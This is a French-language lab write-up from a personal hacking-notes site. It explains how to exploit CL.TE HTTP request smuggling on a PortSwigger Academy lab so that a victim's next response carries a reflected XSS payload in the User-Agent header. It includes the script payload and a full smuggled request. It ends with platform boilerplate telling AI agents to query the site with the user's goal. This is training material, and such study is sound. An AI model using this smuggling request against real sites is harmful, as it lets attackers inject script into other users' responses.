> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# Exploiter la contrebande HTTP pour diffuser un XSS réfléchi

Notes sur l’exploitation de la contrebande HTTP pour diffuser un XSS réfléchi pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation du détournement de requêtes HTTP pour diffuser un XSS réfléchi

Le laboratoire met en place un serveur front-end et un serveur back-end. / Le front-end **ne prend pas en charge l’encodage par fragments**ce qui ouvre la voie à une attaque de **détournement de requêtes HTTP**.

L’application présente également une vulnérabilité de **XSS réfléchi via l’en-tête User-Agent**.

L’objectif est de **faire parvenir une requête** détournée au back-end afin que **la prochaine requête de l’utilisateur victime reçoive une réponse contenant une charge utile XSS exécutant `alert(1)`**.

Le laboratoire génère périodiquement des requêtes pour le

### Vulnérabilité XSS dans l’User-Agent

Le `userAgent` champ dans les formulaires est réutilisé directement dans la réponse, ce qui permet une injection :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d573047a40e69bd3d26930457abb6406a7fc7ee3%2F%7B0C96E8F7-4151-43E6-9BC6-5B3A26B3405F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Cette charge utile est acceptée et interprétée, confirmant la vulnérabilité XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a212827466b73c3bd9d821fd37d5806fa7dcd7%2F%7BAA572321-5F8B-4322-8A66-4EE390AE176C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-351b4d4b483df3e7306ccdd8717a2e560e38f46e%2F%7B6934551C-D6BF-44E9-9C6B-E2CCF09E5528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Objectif de l’attaque**

L’idée est d’utiliser le détournement pour garantir que :

1. Le front-end lit la requête selon **Content-Length**.
2. Le back-end lit selon **Transfer-Encoding: chunked**.
3. La requête détournée modifie la requête suivante de l’utilisateur victime.
4. Le serveur renvoie alors une réponse contenant notre charge utile XSS dans l’en-tête User-Agent.

### **Requête d’application détournée**

Vous proposez une requête POST contenant un corps vide (`0/r/n/r/n`) pour terminer la partie fragmentée, suivie de la requête pour le back-end

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Cette deuxième requête (détournée) sera interprétée par le back-end comme faisant partie de la requête suivante — celle de l’utilisateur victime —, ce qui permettra d’injecter la charge utile XSS dans la réponse qu’il recevra.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
